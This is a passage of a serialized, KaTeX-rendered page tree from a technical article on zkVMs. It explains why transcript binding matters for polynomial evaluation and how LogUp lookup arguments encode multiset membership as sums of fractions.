14749,"children":114751},{"className":114750},[6923,6790],[114752],{"type":26,"value":24387},{"type":21,"tag":153,"props":114754,"children":114756},{"className":114755},[24409,6790],[114757],{"type":26,"value":78915},{"type":21,"tag":153,"props":114759,"children":114761},{"className":114760},[6742,6790],[114762],{"type":26,"value":2996},{"type":21,"tag":153,"props":114764,"children":114766},{"className":114765},[6852,6790],[114767],{"type":26,"value":6855},{"type":21,"tag":153,"props":114769,"children":114771},{"className":114770},[6742,6790],[114772],{"type":26,"value":3033},{"type":21,"tag":153,"props":114774,"children":114776},{"className":114775},[24431,6790],[114777,114782],{"type":21,"tag":153,"props":114778,"children":114780},{"className":114779},[24431,6790],[114781],{"type":26,"value":36834},{"type":21,"tag":153,"props":114783,"children":114785},{"className":114784},[6757],[114786],{"type":21,"tag":153,"props":114787,"children":114789},{"className":114788},[6762],[114790],{"type":21,"tag":153,"props":114791,"children":114793},{"className":114792},[6767],[114794],{"type":21,"tag":153,"props":114795,"children":114798},{"className":114796,"style":114797},[6772],"height:0.5935em;",[114799],{"type":21,"tag":153,"props":114800,"children":114802},{"style":114801},"top:-2.786em;margin-right:0.0714em;",[114803,114807],{"type":21,"tag":153,"props":114804,"children":114806},{"className":114805,"style":111204},[6781],[],{"type":21,"tag":153,"props":114808,"children":114810},{"className":114809},[6787,111209,111210,6790],[114811],{"type":21,"tag":153,"props":114812,"children":114814},{"className":114813},[6742,24280,6790],[114815],{"type":26,"value":58695},{"type":21,"tag":153,"props":114817,"children":114819},{"className":114818},[24437],[114820],{"type":26,"value":24440},{"type":21,"tag":153,"props":114822,"children":114824},{"className":114823},[6767],[114825],{"type":21,"tag":153,"props":114826,"children":114829},{"className":114827,"style":114828},[6772],"height:0.5144em;",[114830],{"type":21,"tag":153,"props":114831,"children":114832},{},[],{"type":21,"tag":153,"props":114834,"children":114836},{"className":114835,"style":6859},[6820],[],{"type":21,"tag":153,"props":114838,"children":114840},{"className":114839,"style":97698},[6742,24280],[114841],{"type":26,"value":35778},{"type":21,"tag":153,"props":114843,"children":114845},{"className":114844},[24409],[114846],{"type":26,"value":189},{"type":21,"tag":153,"props":114848,"children":114850},{"className":114849},[6742,114493],[114851],{"type":21,"tag":153,"props":114852,"children":114854},{"className":114853},[6762],[114855],{"type":21,"tag":153,"props":114856,"children":114858},{"className":114857},[6767],[114859],{"type":21,"tag":153,"props":114860,"children":114862},{"className":114861,"style":114709},[6772],[114863,114875],{"type":21,"tag":153,"props":114864,"children":114865},{"style":114510},[114866,114870],{"type":21,"tag":153,"props":114867,"children":114869},{"className":114868,"style":114515},[6781],[],{"type":21,"tag":153,"props":114871,"children":114873},{"className":114872},[6742,24280],[114874],{"type":26,"value":5972},{"type":21,"tag":153,"props":114876,"children":114878},{"style":114877},"top:-3.2634em;",[114879,114883],{"type":21,"tag":153,"props":114880,"children":114882},{"className":114881,"style":114515},[6781],[],{"type":21,"tag":153,"props":114884,"children":114886},{"className":114885,"style":114736},[114533],[114887],{"type":21,"tag":153,"props":114888,"children":114890},{"className":114889,"style":114609},[114608],[114891],{"type":21,"tag":36967,"props":114892,"children":114893},{"xmlns":114613,"width":114614,"height":114615,"style":114616,"viewBox":114617,"preserveAspectRatio":114618},[114894],{"type":21,"tag":114621,"props":114895,"children":114896},{"d":114623},[],{"type":21,"tag":153,"props":114898,"children":114900},{"className":114899},[24431],[114901],{"type":26,"value":2071},{"type":21,"tag":153,"props":114903,"children":114905},{"className":114904,"style":6821},[6820],[],{"type":21,"tag":153,"props":114907,"children":114909},{"className":114908},[6826],[114910],{"type":26,"value":113606},{"type":21,"tag":153,"props":114912,"children":114914},{"className":114913,"style":6821},[6820],[],{"type":21,"tag":153,"props":114916,"children":114918},{"className":114917},[6731],[114919,114924,114934,114939,114988,114993,114997,115046],{"type":21,"tag":153,"props":114920,"children":114923},{"className":114921,"style":114922},[6736],"height:1.2274em;vertical-align:-0.25em;",[],{"type":21,"tag":153,"props":114925,"children":114927},{"className":114926},[6742,26],[114928],{"type":21,"tag":153,"props":114929,"children":114931},{"className":114930},[6742],[114932],{"type":26,"value":114933},"eq",{"type":21,"tag":153,"props":114935,"children":114937},{"className":114936},[24409],[114938],{"type":26,"value":189},{"type":21,"tag":153,"props":114940,"children":114942},{"className":114941},[6742,114493],[114943],{"type":21,"tag":153,"props":114944,"children":114946},{"className":114945},[6762],[114947],{"type":21,"tag":153,"props":114948,"children":114950},{"className":114949},[6767],[114951],{"type":21,"tag":153,"props":114952,"children":114954},{"className":114953,"style":114709},[6772],[114955,114967],{"type":21,"tag":153,"props":114956,"children":114957},{"style":114510},[114958,114962],{"type":21,"tag":153,"props":114959,"children":114961},{"className":114960,"style":114515},[6781],[],{"type":21,"tag":153,"props":114963,"children":114965},{"className":114964},[6742,24280],[114966],{"type":26,"value":5972},{"type":21,"tag":153,"props":114968,"children":114969},{"style":114877},[114970,114974],{"type":21,"tag":153,"props":114971,"children":114973},{"className":114972,"style":114515},[6781],[],{"type":21,"tag":153,"props":114975,"children":114977},{"className":114976,"style":114736},[114533],[114978],{"type":21,"tag":153,"props":114979,"children":114981},{"className":114980,"style":114609},[114608],[114982],{"type":21,"tag":36967,"props":114983,"children":114984},{"xmlns":114613,"width":114614,"height":114615,"style":114616,"viewBox":114617,"preserveAspectRatio":114618},[114985],{"type":21,"tag":114621,"props":114986,"children":114987},{"d":114623},[],{"type":21,"tag":153,"props":114989,"children":114991},{"className":114990},[6852],[114992],{"type":26,"value":6855},{"type":21,"tag":153,"props":114994,"children":114996},{"className":114995,"style":6859},[6820],[],{"type":21,"tag":153,"props":114998,"children":115000},{"className":114999},[6742,114493],[115001],{"type":21,"tag":153,"props":115002,"children":115004},{"className":115003},[6762],[115005],{"type":21,"tag":153,"props":115006,"children":115008},{"className":115007},[6767],[115009],{"type":21,"tag":153,"props":115010,"children":115012},{"className":115011,"style":114579},[6772],[115013,115025],{"type":21,"tag":153,"props":115014,"children":115015},{"style":114510},[115016,115020],{"type":21,"tag":153,"props":115017,"children":115019},{"className":115018,"style":114515},[6781],[],{"type":21,"tag":153,"props":115021,"children":115023},{"className":115022,"style":95344},[6742,24280],[115024],{"type":26,"value":96163},{"type":21,"tag":153,"props":115026,"children":115027},{"style":114510},[115028,115032],{"type":21,"tag":153,"props":115029,"children":115031},{"className":115030,"style":114515},[6781],[],{"type":21,"tag":153,"props":115033,"children":115035},{"className":115034,"style":114603},[114533],[115036],{"type":21,"tag":153,"props":115037,"children":115039},{"className":115038,"style":114609},[114608],[115040],{"type":21,"tag":36967,"props":115041,"children":115042},{"xmlns":114613,"width":114614,"height":114615,"style":114616,"viewBox":114617,"preserveAspectRatio":114618},[115043],{"type":21,"tag":114621,"props":115044,"children":115045},{"d":114623},[],{"type":21,"tag":153,"props":115047,"children":115049},{"className":115048},[24431],[115050],{"type":26,"value":2071},{"type":21,"tag":22,"props":115052,"children":115053},{},[115054,115056,115125,115127,115273,115275,115414,115416,115500],{"type":26,"value":115055},"At a fixed challenge point ",{"type":21,"tag":78,"props":115057,"children":115059},{"className":115058},[6715,6716],[115060],{"type":21,"tag":153,"props":115061,"children":115063},{"className":115062},[6721],[115064],{"type":21,"tag":153,"props":115065,"children":115067},{"className":115066,"ariaHidden":3294},[6726],[115068],{"type":21,"tag":153,"props":115069,"children":115071},{"className":115070},[6731],[115072,115076],{"type":21,"tag":153,"props":115073,"children":115075},{"className":115074,"style":114579},[6736],[],{"type":21,"tag":153,"props":115077,"children":115079},{"className":115078},[6742,114493],[115080],{"type":21,"tag":153,"props":115081,"children":115083},{"className":115082},[6762],[115084],{"type":21,"tag":153,"props":115085,"children":115087},{"className":115086},[6767],[115088],{"type":21,"tag":153,"props":115089,"children":115091},{"className":115090,"style":114579},[6772],[115092,115104],{"type":21,"tag":153,"props":115093,"children":115094},{"style":114510},[115095,115099],{"type":21,"tag":153,"props":115096,"children":115098},{"className":115097,"style":114515},[6781],[],{"type":21,"tag":153,"props":115100,"children":115102},{"className":115101,"style":95344},[6742,24280],[115103],{"type":26,"value":96163},{"type":21,"tag":153,"props":115105,"children":115106},{"style":114510},[115107,115111],{"type":21,"tag":153,"props":115108,"children":115110},{"className":115109,"style":114515},[6781],[],{"type":21,"tag":153,"props":115112,"children":115114},{"className":115113,"style":114603},[114533],[115115],{"type":21,"tag":153,"props":115116,"children":115118},{"className":115117,"style":114609},[114608],[115119],{"type":21,"tag":36967,"props":115120,"children":115121},{"xmlns":114613,"width":114614,"height":114615,"style":114616,"viewBox":114617,"preserveAspectRatio":114618},[115122],{"type":21,"tag":114621,"props":115123,"children":115124},{"d":114623},[],{"type":26,"value":115126},", the coefficients ",{"type":21,"tag":78,"props":115128,"children":115130},{"className":115129},[6715,6716],[115131],{"type":21,"tag":153,"props":115132,"children":115134},{"className":115133},[6721],[115135],{"type":21,"tag":153,"props":115136,"children":115138},{"className":115137,"ariaHidden":3294},[6726],[115139],{"type":21,"tag":153,"props":115140,"children":115142},{"className":115141},[6731],[115143,115147,115156,115161,115210,115215,115219,115268],{"type":21,"tag":153,"props":115144,"children":115146},{"className":115145,"style":114922},[6736],[],{"type":21,"tag":153,"props":115148,"children":115150},{"className":115149},[6742,26],[115151],{"type":21,"tag":153,"props":115152,"children":115154},{"className":115153},[6742],[115155],{"type":26,"value":114933},{"type":21,"tag":153,"props":115157,"children":115159},{"className":115158},[24409],[115160],{"type":26,"value":189},{"type":21,"tag":153,"props":115162,"children":115164},{"className":115163},[6742,114493],[115165],{"type":21,"tag":153,"props":115166,"children":115168},{"className":115167},[6762],[115169],{"type":21,"tag":153,"props":115170,"children":115172},{"className":115171},[6767],[115173],{"type":21,"tag":153,"props":115174,"children":115176},{"className":115175,"style":114709},[6772],[115177,115189],{"type":21,"tag":153,"props":115178,"children":115179},{"style":114510},[115180,115184],{"type":21,"tag":153,"props":115181,"children":115183},{"className":115182,"style":114515},[6781],[],{"type":21,"tag":153,"props":115185,"children":115187},{"className":115186},[6742,24280],[115188],{"type":26,"value":5972},{"type":21,"tag":153,"props":115190,"children":115191},{"style":114877},[115192,115196],{"type":21,"tag":153,"props":115193,"children":115195},{"className":115194,"style":114515},[6781],[],{"type":21,"tag":153,"props":115197,"children":115199},{"className":115198,"style":114736},[114533],[115200],{"type":21,"tag":153,"props":115201,"children":115203},{"className":115202,"style":114609},[114608],[115204],{"type":21,"tag":36967,"props":115205,"children":115206},{"xmlns":114613,"width":114614,"height":114615,"style":114616,"viewBox":114617,"preserveAspectRatio":114618},[115207],{"type":21,"tag":114621,"props":115208,"children":115209},{"d":114623},[],{"type":21,"tag":153,"props":115211,"children":115213},{"className":115212},[6852],[115214],{"type":26,"value":6855},{"type":21,"tag":153,"props":115216,"children":115218},{"className":115217,"style":6859},[6820],[],{"type":21,"tag":153,"props":115220,"children":115222},{"className":115221},[6742,114493],[115223],{"type":21,"tag":153,"props":115224,"children":115226},{"className":115225},[6762],[115227],{"type":21,"tag":153,"props":115228,"children":115230},{"className":115229},[6767],[115231],{"type":21,"tag":153,"props":115232,"children":115234},{"className":115233,"style":114579},[6772],[115235,115247],{"type":21,"tag":153,"props":115236,"children":115237},{"style":114510},[115238,115242],{"type":21,"tag":153,"props":115239,"children":115241},{"className":115240,"style":114515},[6781],[],{"type":21,"tag":153,"props":115243,"children":115245},{"className":115244,"style":95344},[6742,24280],[115246],{"type":26,"value":96163},{"type":21,"tag":153,"props":115248,"children":115249},{"style":114510},[115250,115254],{"type":21,"tag":153,"props":115251,"children":115253},{"className":115252,"style":114515},[6781],[],{"type":21,"tag":153,"props":115255,"children":115257},{"className":115256,"style":114603},[114533],[115258],{"type":21,"tag":153,"props":115259,"children":115261},{"className":115260,"style":114609},[114608],[115262],{"type":21,"tag":36967,"props":115263,"children":115264},{"xmlns":114613,"width":114614,"height":114615,"style":114616,"viewBox":114617,"preserveAspectRatio":114618},[115265],{"type":21,"tag":114621,"props":115266,"children":115267},{"d":114623},[],{"type":21,"tag":153,"props":115269,"children":115271},{"className":115270},[24431],[115272],{"type":26,"value":2071},{"type":26,"value":115274}," are constants, so ",{"type":21,"tag":78,"props":115276,"children":115278},{"className":115277},[6715,6716],[115279],{"type":21,"tag":153,"props":115280,"children":115282},{"className":115281},[6721],[115283],{"type":21,"tag":153,"props":115284,"children":115286},{"className":115285,"ariaHidden":3294},[6726],[115287],{"type":21,"tag":153,"props":115288,"children":115290},{"className":115289},[6731],[115291,115295,115355,115360,115409],{"type":21,"tag":153,"props":115292,"children":115294},{"className":115293,"style":114488},[6736],[],{"type":21,"tag":153,"props":115296,"children":115298},{"className":115297},[6742,114493],[115299],{"type":21,"tag":153,"props":115300,"children":115302},{"className":115301},[6762,24334],[115303,115344],{"type":21,"tag":153,"props":115304,"children":115306},{"className":115305},[6767],[115307,115339],{"type":21,"tag":153,"props":115308,"children":115310},{"className":115309,"style":114506},[6772],[115311,115323],{"type":21,"tag":153,"props":115312,"children":115313},{"style":114510},[115314,115318],{"type":21,"tag":153,"props":115315,"children":115317},{"className":115316,"style":114515},[6781],[],{"type":21,"tag":153,"props":115319,"children":115321},{"className":115320,"style":97698},[6742,24280],[115322],{"type":26,"value":35778},{"type":21,"tag":153,"props":115324,"children":115325},{"style":114524},[115326,115330],{"type":21,"tag":153,"props":115327,"children":115329},{"className":115328,"style":114515},[6781],[],{"type":21,"tag":153,"props":115331,"children":115333},{"className":115332,"style":114534},[114533],[115334],{"type":21,"tag":153,"props":115335,"children":115337},{"className":115336},[6742],[115338],{"type":26,"value":114541},{"type":21,"tag":153,"props":115340,"children":115342},{"className":115341},[24437],[115343],{"type":26,"value":24440},{"type":21,"tag":153,"props":115345,"children":115347},{"className":115346},[6767],[115348],{"type":21,"tag":153,"props":115349,"children":115351},{"className":115350,"style":114554},[6772],[115352],{"type":21,"tag":153,"props":115353,"children":115354},{},[],{"type":21,"tag":153,"props":115356,"children":115358},{"className":115357},[24409],[115359],{"type":26,"value":189},{"type":21,"tag":153,"props":115361,"children":115363},{"className":115362},[6742,114493],[115364],{"type":21,"tag":153,"props":115365,"children":115367},{"className":115366},[6762],[115368],{"type":21,"tag":153,"props":115369,"children":115371},{"className":115370},[6767],[115372],{"type":21,"tag":153,"props":115373,"children":115375},{"className":115374,"style":114579},[6772],[115376,115388],{"type":21,"tag":153,"props":115377,"children":115378},{"style":114510},[115379,115383],{"type":21,"tag":153,"props":115380,"children":115382},{"className":115381,"style":114515},[6781],[],{"type":21,"tag":153,"props":115384,"children":115386},{"className":115385,"style":95344},[6742,24280],[115387],{"type":26,"value":96163},{"type":21,"tag":153,"props":115389,"children":115390},{"style":114510},[115391,115395],{"type":21,"tag":153,"props":115392,"children":115394},{"className":115393,"style":114515},[6781],[],{"type":21,"tag":153,"props":115396,"children":115398},{"className":115397,"style":114603},[114533],[115399],{"type":21,"tag":153,"props":115400,"children":115402},{"className":115401,"style":114609},[114608],[115403],{"type":21,"tag":36967,"props":115404,"children":115405},{"xmlns":114613,"width":114614,"height":114615,"style":114616,"viewBox":114617,"preserveAspectRatio":114618},[115406],{"type":21,"tag":114621,"props":115407,"children":115408},{"d":114623},[],{"type":21,"tag":153,"props":115410,"children":115412},{"className":115411},[24431],[115413],{"type":26,"value":2071},{"type":26,"value":115415}," is linear in the table values ",{"type":21,"tag":78,"props":115417,"children":115419},{"className":115418},[6715,6716],[115420],{"type":21,"tag":153,"props":115421,"children":115423},{"className":115422},[6721],[115424],{"type":21,"tag":153,"props":115425,"children":115427},{"className":115426,"ariaHidden":3294},[6726],[115428],{"type":21,"tag":153,"props":115429,"children":115431},{"className":115430},[6731],[115432,115436,115441,115446,115495],{"type":21,"tag":153,"props":115433,"children":115435},{"className":115434,"style":114922},[6736],[],{"type":21,"tag":153,"props":115437,"children":115439},{"className":115438,"style":97698},[6742,24280],[115440],{"type":26,"value":35778},{"type":21,"tag":153,"props":115442,"children":115444},{"className":115443},[24409],[115445],{"type":26,"value":189},{"type":21,"tag":153,"props":115447,"children":115449},{"className":115448},[6742,114493],[115450],{"type":21,"tag":153,"props":115451,"children":115453},{"className":115452},[6762],[115454],{"type":21,"tag":153,"props":115455,"children":115457},{"className":115456},[6767],[115458],{"type":21,"tag":153,"props":115459,"children":115461},{"className":115460,"style":114709},[6772],[115462,115474],{"type":21,"tag":153,"props":115463,"children":115464},{"style":114510},[115465,115469],{"type":21,"tag":153,"props":115466,"children":115468},{"className":115467,"style":114515},[6781],[],{"type":21,"tag":153,"props":115470,"children":115472},{"className":115471},[6742,24280],[115473],{"type":26,"value":5972},{"type":21,"tag":153,"props":115475,"children":115476},{"style":114877},[115477,115481],{"type":21,"tag":153,"props":115478,"children":115480},{"className":115479,"style":114515},[6781],[],{"type":21,"tag":153,"props":115482,"children":115484},{"className":115483,"style":114736},[114533],[115485],{"type":21,"tag":153,"props":115486,"children":115488},{"className":115487,"style":114609},[114608],[115489],{"type":21,"tag":36967,"props":115490,"children":115491},{"xmlns":114613,"width":114614,"height":114615,"style":114616,"viewBox":114617,"preserveAspectRatio":114618},[115492],{"type":21,"tag":114621,"props":115493,"children":115494},{"d":114623},[],{"type":21,"tag":153,"props":115496,"children":115498},{"className":115497},[24431],[115499],{"type":26,"value":2071},{"type":26,"value":355},{"type":21,"tag":22,"props":115502,"children":115503},{},[115504,115506,115575],{"type":26,"value":115505},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":21,"tag":78,"props":115507,"children":115509},{"className":115508},[6715,6716],[115510],{"type":21,"tag":153,"props":115511,"children":115513},{"className":115512},[6721],[115514],{"type":21,"tag":153,"props":115515,"children":115517},{"className":115516,"ariaHidden":3294},[6726],[115518],{"type":21,"tag":153,"props":115519,"children":115521},{"className":115520},[6731],[115522,115526],{"type":21,"tag":153,"props":115523,"children":115525},{"className":115524,"style":114579},[6736],[],{"type":21,"tag":153,"props":115527,"children":115529},{"className":115528},[6742,114493],[115530],{"type":21,"tag":153,"props":115531,"children":115533},{"className":115532},[6762],[115534],{"type":21,"tag":153,"props":115535,"children":115537},{"className":115536},[6767],[115538],{"type":21,"tag":153,"props":115539,"children":115541},{"className":115540,"style":114579},[6772],[115542,115554],{"type":21,"tag":153,"props":115543,"children":115544},{"style":114510},[115545,115549],{"type":21,"tag":153,"props":115546,"children":115548},{"className":115547,"style":114515},[6781],[],{"type":21,"tag":153,"props":115550,"children":115552},{"className":115551,"style":95344},[6742,24280],[115553],{"type":26,"value":96163},{"type":21,"tag":153,"props":115555,"children":115556},{"style":114510},[115557,115561],{"type":21,"tag":153,"props":115558,"children":115560},{"className":115559,"style":114515},[6781],[],{"type":21,"tag":153,"props":115562,"children":115564},{"className":115563,"style":114603},[114533],[115565],{"type":21,"tag":153,"props":115566,"children":115568},{"className":115567,"style":114609},[114608],[115569],{"type":21,"tag":36967,"props":115570,"children":115571},{"xmlns":114613,"width":114614,"height":114615,"style":114616,"viewBox":114617,"preserveAspectRatio":114618},[115572],{"type":21,"tag":114621,"props":115573,"children":115574},{"d":114623},[],{"type":26,"value":115576}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":21,"tag":114,"props":115578,"children":115580},{"id":115579},"lookup-arguments-logup",[115581],{"type":26,"value":115582},"Lookup Arguments (LogUp)",{"type":21,"tag":22,"props":115584,"children":115585},{},[115586],{"type":26,"value":115587},"zkVMs need to check that values satisfy certain properties. For example:",{"type":21,"tag":87,"props":115589,"children":115590},{},[115591,115647,115652],{"type":21,"tag":91,"props":115592,"children":115593},{},[115594,115596,115646],{"type":26,"value":115595},"Is this byte in range ",{"type":21,"tag":78,"props":115597,"children":115599},{"className":115598},[6715,6716],[115600],{"type":21,"tag":153,"props":115601,"children":115603},{"className":115602},[6721],[115604],{"type":21,"tag":153,"props":115605,"children":115607},{"className":115606,"ariaHidden":3294},[6726],[115608],{"type":21,"tag":153,"props":115609,"children":115611},{"className":115610},[6731],[115612,115616,115621,115626,115631,115635,115641],{"type":21,"tag":153,"props":115613,"children":115615},{"className":115614,"style":6841},[6736],[],{"type":21,"tag":153,"props":115617,"children":115619},{"className":115618},[24409],[115620],{"type":26,"value":211},{"type":21,"tag":153,"props":115622,"children":115624},{"className":115623},[6742],[115625],{"type":26,"value":2996},{"type":21,"tag":153,"props":115627,"children":115629},{"className":115628},[6852],[115630],{"type":26,"value":6855},{"type":21,"tag":153,"props":115632,"children":115634},{"className":115633,"style":6859},[6820],[],{"type":21,"tag":153,"props":115636,"children":115638},{"className":115637},[6742],[115639],{"type":26,"value":115640},"255",{"type":21,"tag":153,"props":115642,"children":115644},{"className":115643},[24431],[115645],{"type":26,"value":350},{"type":26,"value":2022},{"type":21,"tag":91,"props":115648,"children":115649},{},[115650],{"type":26,"value":115651},"Does this opcode decode correctly?",{"type":21,"tag":91,"props":115653,"children":115654},{},[115655],{"type":26,"value":115656},"Is this memory access consistent with previous accesses?",{"type":21,"tag":22,"props":115658,"children":115659},{},[115660,115665],{"type":21,"tag":8055,"props":115661,"children":115662},{},[115663],{"type":26,"value":115664},"The naive approach:",{"type":26,"value":115666}," Add constraints for each check. Expensive.",{"type":21,"tag":22,"props":115668,"children":115669},{},[115670,115675,115677,115682],{"type":21,"tag":8055,"props":115671,"children":115672},{},[115673],{"type":26,"value":115674},"The clever approach:",{"type":26,"value":115676}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":21,"tag":8055,"props":115678,"children":115679},{},[115680],{"type":26,"value":115681},"multiset membership",{"type":26,"value":70090},{"type":21,"tag":22,"props":115684,"children":115685},{},[115686,115691],{"type":21,"tag":8055,"props":115687,"children":115688},{},[115689],{"type":26,"value":115690},"LogUp (Logarithmic Derivative):",{"type":26,"value":115692}," Encode multiset membership as a sum of fractions.",{"type":21,"tag":22,"props":115694,"children":115695},{},[115696,115698,115723,115725,115752],{"type":26,"value":115697},"If set ",{"type":21,"tag":78,"props":115699,"children":115701},{"className":115700},[6715,6716],[115702],{"type":21,"tag":153,"props":115703,"children":115705},{"className":115704},[6721],[115706],{"type":21,"tag":153,"props":115707,"children":115709},{"className":115708,"ariaHidden":3294},[6726],[115710],{"type":21,"tag":153,"props":115711,"children":115713},{"className":115712},[6731],[115714,115718],{"type":21,"tag":153,"props":115715,"children":115717},{"className":115716,"style":24275},[6736],[],{"type":21,"tag":153,"props":115719,"children":115721},{"className":115720},[6742,24280],[115722],{"type":26,"value":79064},{"type":26,"value":115724}," should equal set ",{"type":21,"tag":78,"props":115726,"children":115728},{"className":115727},[6715,6716],[115729],{"type":21,"tag":153,"props":115730,"children":115732},{"className":115731},[6721],[115733],{"type":21,"tag":153,"props":115734,"children":115736},{"className":115735,"ariaHidden":3294},[6726],[115737],{"type":21,"tag":153,"props":115738,"children":115740},{"className":115739},[6731],[115741,115745],{"type":21,"tag":153,"props":115742,"children":115744},{"className":115743,"style":24275},[6736],[],{"type":21,"tag":153,"props":115746,"children":115749},{"className":115747,"style":115748},[6742,24280],"margin-right:0.05017em;",[115750],{"type":26,"value":115751},"B",{"type":26,"value":115753}," as multisets:",{"type":21,"tag":22,"props":115755,"children":115756},{},[115757],{"type":21,"tag":78,"props":115758,"children":115760},{"className":115759},[6715,6716],[115761],{"type":21,"tag":153,"props":115762,"children":115764},{"className":115763},[6721],[115765],{"type":21,"tag":153,"props":115766,"children":115768},{"className":115767,"ariaHidden":3294},[6726],[115769,115984],{"type":21,"tag":153,"props":115770,"children":115772},{"className":115771},[6731],[115773,115778,115851,115855,115971,115975,115980],{"type":21,"tag":153,"props":115774,"children":115777},{"className":115775,"style":115776},[6736],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":21,"tag":153,"props":115779,"children":115781},{"className":115780},[24316],[115782,115787],{"type":21,"tag":153,"props":115783,"children":115785},{"className":115784,"style":24323},[24316,24321,24322],[115786],{"type":26,"value":111139},{"type":21,"tag":153,"props":115788,"children":115790},{"className":115789},[6757],[115791],{"type":21,"tag":153,"props":115792,"children":115794},{"className":115793},[6762,24334],[115795,115839],{"type":21,"tag":153,"props":115796,"children":115798},{"className":115797},[6767],[115799,115834],{"type":21,"tag":153,"props":115800,"children":115803},{"className":115801,"style":115802},[6772],"height:0.1786em;",[115804],{"type":21,"tag":153,"props":115805,"children":115806},{"style":24347},[115807,115811],{"type":21,"tag":153,"props":115808,"children":115810},{"className":115809,"style":6782},[6781],[],{"type":21,"tag":153,"props":115812,"children":115814},{"className":115813},[6787,6788,6789,6790],[115815],{"type":21,"tag":153,"props":115816,"children":115818},{"className":115817},[6742,6790],[115819,115824,115829],{"type":21,"tag":153,"props":115820,"children":115822},{"className":115821},[6742,24280,6790],[115823],{"type":26,"value":29},{"type":21,"tag":153,"props":115825,"children":115827},{"className":115826},[6923,6790],[115828],{"type":26,"value":24387},{"type":21,"tag":153,"props":115830,"children":115832},{"className":115831},[6742,24280,6790],[115833],{"type":26,"value":79064},{"type":21,"tag":153,"props":115835,"children":115837},{"className":115836},[24437],[115838],{"type":26,"value":24440},{"type":21,"tag":153,"props":115840,"children":115842},{"className":115841},[6767],[115843],{"type":21,"tag":153,"props":115844,"children":115847},{"className":115845,"style":115846},[6772],"height:0.3271em;",[115848],{"type":21,"tag":153,"props":115849,"children":115850},{},[],{"type":21,"tag":153,"props":115852,"children":115854},{"className":115853,"style":6859},[6820],[],{"type":21,"tag":153,"props":115856,"children":115858},{"className":115857},[6742],[115859,115864,115967],{"type":21,"tag":153,"props":115860,"children":115863},{"className":115861},[24409,115862],"nulldelimiter",[],{"type":21,"tag":153,"props":115865,"children":115868},{"className":115866},[115867],"mfrac",[115869],{"type":21,"tag":153,"props":115870,"children":115872},{"className":115871},[6762,24334],[115873,115955],{"type":21,"tag":153,"props":115874,"children":115876},{"className":115875},[6767],[115877,115950],{"type":21,"tag":153,"props":115878,"children":115881},{"className":115879,"style":115880},[6772],"height:0.8451em;",[115882,115915,115929],{"type":21,"tag":153,"props":115883,"children":115885},{"style":115884},"top:-2.655em;",[115886,115890],{"type":21,"tag":153,"props":115887,"children":115889},{"className":115888,"style":114515},[6781],[],{"type":21,"tag":153,"props":115891,"children":115893},{"className":115892},[6787,6788,6789,6790],[115894],{"type":21,"tag":153,"props":115895,"children":115897},{"className":115896},[6742,6790],[115898,115905,115910],{"type":21,"tag":153,"props":115899,"children":115902},{"className":115900,"style":115901},[6742,24280,6790],"margin-right:0.04398em;",[115903],{"type":26,"value":115904},"z",{"type":21,"tag":153,"props":115906,"children":115908},{"className":115907},[6826,6790],[115909],{"type":26,"value":6801},{"type":21,"tag":153,"props":115911,"children":115913},{"className":115912},[6742,24280,6790],[115914],{"type":26,"value":29},{"type":21,"tag":153,"props":115916,"children":115918},{"style":115917},"top:-3.23em;",[115919,115923],{"type":21,"tag":153,"props":115920,"children":115922},{"className":115921,"style":114515},[6781],[],{"type":21,"tag":153,"props":115924,"children":115928},{"className":115925,"style":115927},[115926],"frac-line","border-bottom-width:0.04em;",[],{"type":21,"tag":153,"props":115930,"children":115932},{"style":115931},"top:-3.394em;",[115933,115937],{"type":21,"tag":153,"props":115934,"children":115936},{"className":115935,"style":114515},[6781],[],{"type":21,"tag":153,"props":115938,"children":115940},{"className":115939},[6787,6788,6789,6790],[115941],{"type":21,"tag":153,"props":115942,"children":115944},{"className":115943},[6742,6790],[115945],{"type":21,"tag":153,"props":115946,"children":115948},{"className":115947},[6742,6790],[115949],{"type":26,"value":3033},{"type":21,"tag":153,"props":115951,"children":115953},{"className":115952},[24437],[115954],{"type":26,"value":24440},{"type":21,"tag":153,"props":115956,"children":115958},{"className":115957},[6767],[115959],{"type":21,"tag":153,"props":115960,"children":115963},{"className":115961,"style":115962},[6772],"height:0.4033em;",[115964],{"type":21,"tag":153,"props":115965,"children":115966},{},[],{"type":21,"tag":153,"props":115968,"children":115970},{"className":115969},[24431,115862],[],{"type":21,"tag":153,"props":115972,"children":115974},{"className":115973,"style":6918},[6820],[],{"type":21,"tag":153,"props":115976,"children":115978},{"className":115977},[6923],[115979],{"type":26,"value":2367},{"type":21,"tag":153,"props":115981,"children":115983},{"className":115982,"style":6918},[6820],[],{"type":21,"tag":153,"props":115985,"children":115987},{"className":115986},[6731],[115988,115992,116064,116068],{"type":21,"tag":153,"props":115989,"children":115991},{"className":115990,"style":115776},[6736],[],{"type":21,"tag":153,"props":115993,"children":115995},{"className":115994},[24316],[115996,116001],{"type":21,"tag":153,"props":115997,"children":115999},{"className":115998,"style":24323},[24316,24321,24322],[116000],{"type":26,"value":111139},{"type":21,"tag":153,"props":116002,"children":116004},{"className":116003},[6757],[116005],{"type":21,"tag":153,"props":116006,"children":116008},{"className":116007},[6762,24334],[116009,116053],{"type":21,"tag":153,"props":116010,"children":116012},{"className":116011},[6767],[116013,116048],{"type":21,"tag":153,"props":116014,"children":116017},{"className":116015,"style":116016},[6772],"height:0.1864em;",[116018],{"type":21,"tag":153,"props":116019,"children":116020},{"style":24347},[116021,116025],{"type":21,"tag":153,"props":116022,"children":116024},{"className":116023,"style":6782},[6781],[],{"type":21,"tag":153,"props":116026,"children":116028},{"className":116027},[6787,6788,6789,6790],[116029],{"type":21,"tag":153,"props":116030,"children":116032},{"className":116031},[6742,6790],[116033,116038,116043],{"type":21,"tag":153,"props":116034,"children":116036},{"className":116035},[6742,24280,6790],[116037],{"type":26,"value":5972},{"type":21,"tag":153,"props":116039,"children":116041},{"className":116040},[6923,6790],[116042],{"type":26,"value":24387},{"type":21,"tag":153,"props":116044,"children":116046},{"className":116045,"style":115748},[6742,24280,6790],[116047],{"type":26,"value":115751},{"type":21,"tag":153,"props":116049,"children":116051},{"className":116050},[24437],[116052],{"type":26,"value":24440},{"type":21,"tag":153,"props":116054,"children":116056},{"className":116055},[6767],[116057],{"type":21,"tag":153,"props":116058,"children":116060},{"className":116059,"style":115846},[6772],[116061],{"type":21,"tag":153,"props":116062,"children":116